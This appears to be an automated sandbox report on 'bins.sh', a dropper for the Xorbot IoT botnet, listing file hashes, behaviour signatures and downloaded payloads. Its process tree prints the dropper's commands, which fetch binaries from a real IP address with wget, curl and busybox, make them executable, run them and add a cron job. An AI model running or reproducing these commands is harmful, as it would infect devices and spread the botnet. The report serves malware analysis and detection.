Analysis

  • max time kernel
    150s
  • max time network
    162s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    03-12-2024 14:55

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    3b8b6765d7640335ac5904db51941316

  • SHA1

    41d3ed3e99d3c26185c182282f6210f3def75b91

  • SHA256

    56ffdc2679cf8715dddb3f56f52cf2b650f3ad220dc77610da0a897cc835a627

  • SHA512

    f24c1f8cd195a71f9392081b3aeaed8d32819c6bb4337ec57c5d0034abea6bfce3884757d5b212ce225d82033f08f16587ed8086452023ec9ce29ba1fe102f5b

  • SSDEEP

    192:nR57dzBtlmm8DL9v3/K+0mI/nkB/VmXjh8ML+Xjh8MLgVdR5dCdBtlmmUhv3/K+f:7dzBtlmm8DL0kBdmXjh8ML+Xjh8MLqr1

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (2065) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 5 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:668
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:670
        • /usr/bin/wget
          wget http://216.126.231.240/bins/ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
          2⤵
          • Writes file to tmp directory
          PID:673
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:691
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
          2⤵
          • Writes file to tmp directory
          PID:700
        • /bin/chmod
          chmod 777 ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
          2⤵
          • File and Directory Permissions Modification
          PID:702
        • /tmp/ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
          ./ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:704
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:706
              • /usr/bin/crontab
                crontab -l
                4⤵
                • Reads runtime system information
                PID:707
            • /bin/sh
              sh -c "crontab -"
              3⤵
                PID:708
                • /usr/bin/crontab
                  crontab -
                  4⤵
                  • Creates/modifies Cron job
                  • Reads runtime system information
                  PID:709
            • /bin/rm
              rm ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
              2⤵
                PID:711
              • /usr/bin/wget
                wget http://216.126.231.240/bins/Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt
                2⤵
                  PID:714
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt
                  2⤵
                    PID:715
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt
                    2⤵
                    • Writes file to tmp directory
                    PID:796
                  • /bin/chmod
                    chmod 777 Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt
                    2⤵
                    • File and Directory Permissions Modification
                    PID:805
                  • /tmp/Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt
                    ./Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt
                    2⤵
                    • Executes dropped EXE
                    PID:806
                  • /bin/rm
                    rm Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt
                    2⤵
                      PID:808
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
                      2⤵
                        PID:809
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
                        2⤵
                          PID:810
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
                          2⤵
                          • Writes file to tmp directory
                          PID:811
                        • /bin/chmod
                          chmod 777 q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
                          2⤵
                          • File and Directory Permissions Modification
                          PID:816
                        • /tmp/q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
                          ./q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
                          2⤵
                          • Executes dropped EXE
                          PID:821
                        • /bin/rm
                          rm q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
                          2⤵
                            PID:823
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/NTiFBE8cSxzJqDW6E3XBPypDoghEeUWLhV
                            2⤵
                              PID:824

                          Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • /tmp/ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET

                            Filesize

                            177KB

                            MD5

                            786d75a158fe731feca3880f436082c0

                            SHA1

                            79ea2734e43d00cdeabed5586b2c1994d02aef3e

                            SHA256

                            5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                            SHA512

                            7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                          • /tmp/Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt

                            Filesize

                            122KB

                            MD5

                            cd3d4b9c643e5b473fb4d88ed05f0716

                            SHA1

                            64ee7a97418583d759eaea8000890cc3bae1b5f4

                            SHA256

                            0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                            SHA512

                            164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                          • /tmp/q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW

                            Filesize

                            151KB

                            MD5

                            6c583043d91c55aa470c08c87058e917

                            SHA1

                            abf65a5b9bba69980278ad09356e53de8bb89439

                            SHA256

                            2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                            SHA512

                            82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                          • /var/spool/cron/crontabs/tmp.vGM1Bs

                            Filesize

                            210B

                            MD5

                            547923bf064edf67d47e23de67b4020b

                            SHA1

                            677f52bcc69b5f3619330d27dd0fd6382d1c6749

                            SHA256

                            673d2d0a8c35159a321653d731af4ab040c26c5e3e6532dbd4cc2c315865e807

                            SHA512

                            211fd6615dc71feff8d54983849eac08adee71263f07dee2f642caabadccced5bcd4abaf4a6fcaedd85c4eb7b0f81c673ca8e27c6a7d45b06a754ae2eb6c1bb3